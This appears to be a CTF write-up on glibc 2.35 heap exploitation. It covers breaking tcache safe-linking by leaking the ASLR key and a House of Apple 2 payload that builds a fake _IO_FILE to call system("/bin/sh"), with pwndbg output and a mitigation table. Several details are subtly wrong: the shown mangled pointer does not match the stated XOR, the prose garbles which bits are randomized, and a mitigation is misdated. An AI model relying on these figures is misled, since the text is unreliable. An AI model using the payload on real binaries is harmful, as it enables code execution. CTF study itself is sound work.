RIVER ROOKS // CTF EXPLOITATION ARCHIVE
~/notes/ > ctf-heap-glibc-2-35.md

CTF Write-up: Heap Exploitation in glibc 2.35

1.0 Challenge Synopsis

During the DEFCON qualifier challenges, our team encountered a hardened 64-bit Linux binary linked against glibc 2.35. Standard legacy heap exploitation techniques—such as poisoning __malloc_hook or __free_hook—are rendered obsolete because upstream glibc maintainers removed all allocation hook pointer symbols entirely in version 2.34.

This write-up covers breaking modern tcache safe-linking pointer mangling and redirecting execution control flow using the House of Apple 2 technique against the wide character vtable pointers inside _IO_FILE structures.

2.0 Safe-Linking Pointer Mangling

Introduced in glibc 2.32, safe-linking protects single-linked singly linked list pointers (such as entries inside the Thread Local Cache tcache and fastbins) against off-by-one overwrites and UAF corruption.

2.1 Mathematical Derivation

POINTER MANGLING FORMULA
Mangled_Pointer (P') = (Address_of_Chunk >> 12) ^ Target_Pointer (P)

Since the lowest 12 bits of Address_of_Chunk >> 12 are randomized by ASLR, overwriting P' directly without an address leak causes the kernel to dereference invalid virtual memory pages, aborting with SIGSEGV.

However, when an arbitrary read primitive leaks the mangled value of the terminal chunk in the tcache bin (where Target_Pointer = NULL), the equation simplifies:

Leaked_Mangled = (Chunk_Addr >> 12) ^ 0x0 ==> ASLR_Key = Leaked_Mangled
[!CAUTION] Pointer Alignment Constraints

In glibc 2.35, chunks inserted into tcache bins must also adhere to strict 16-byte address alignment. Forging a fake chunk unaligned to a 16-byte boundary triggers malloc(): unaligned tcache chunk detected aborts.

3.0 GDB Memory Inspection

Attaching GDB with the pwndbg extension confirms the tcache bin layout and reveals the mangled pointer representation in memory:

gdb-pwndbg stdout: heap inspection GDB
pwndbg> tcachebins
tcachebins
0x40 [  2]: 0x55555555a2a0 → 0x55555555a260
pwndbg> x/4gx 0x55555555a2a0
0x55555555a2a0:  0x0000555555550730  0x0000000000000000
0x55555555a2b0:  0x0000000000000000  0x0000000000000041
pwndbg> tele 0x55555555a2a0
00:0000 │ 0x55555555a2a0 → 0x555555550730 (MANGLED POINTER: 0x55555555a260 ^ (0x55555555a >> 12))

4.0 House of Apple Hijacking

With the ability to allocate chunks onto arbitrary memory addresses via tcache poisoning, we target _IO_list_all. When exit() or abort() is invoked by the runtime, the glibc standard I/O cleanup routine iterates through the _IO_FILE linked list and invokes _IO_wfile_overflow():

house_of_apple_payload.c C99
// Constructing fake _IO_FILE_plus structure
struct _IO_FILE_plus *fake_file = (struct _IO_FILE_plus *)payload;
fake_file->file._flags = 0x6873; // "sh" in ASCII
fake_file->file._mode = 1;      // Force wide character stream mode
fake_file->vtable = (const struct _IO_jump_t *)wide_vtable_addr;

// Trigger call to system("/bin/sh") on stream flush
fake_file->file._wide_data->_wide_vtable->doallocate = (void *)system_addr;

5.0 Glibc Heap Mitigation History

Tracking defensive hardening milestones across recent glibc releases:

glibc Version Defensive Mitigation Added Status Impact on Attackers
2.26 Thread Cache (tcache) introduced Active Initially lacked double-free and count sanity checks.
2.29 tcache double-free check (key field) Active Stores pointer to tcache struct in chunk data.
2.32 Safe-Linking Pointer Mangling Hardened Requires ASLR heap base leak to forge pointers.
2.34 Removal of __malloc_hook / __free_hook Enforced Forces targeting of _IO_FILE and stack frames.
2.35 Alignment verification on tcache chunks Enforced Eliminates misaligned chunk allocations entirely.
[1] Safe-Linking was first proposed by Eyal Itkin for memory allocators in modern operating systems.
[2] House of Apple exploitation methodology authored by roderickchan, targeting wide character I/O functions.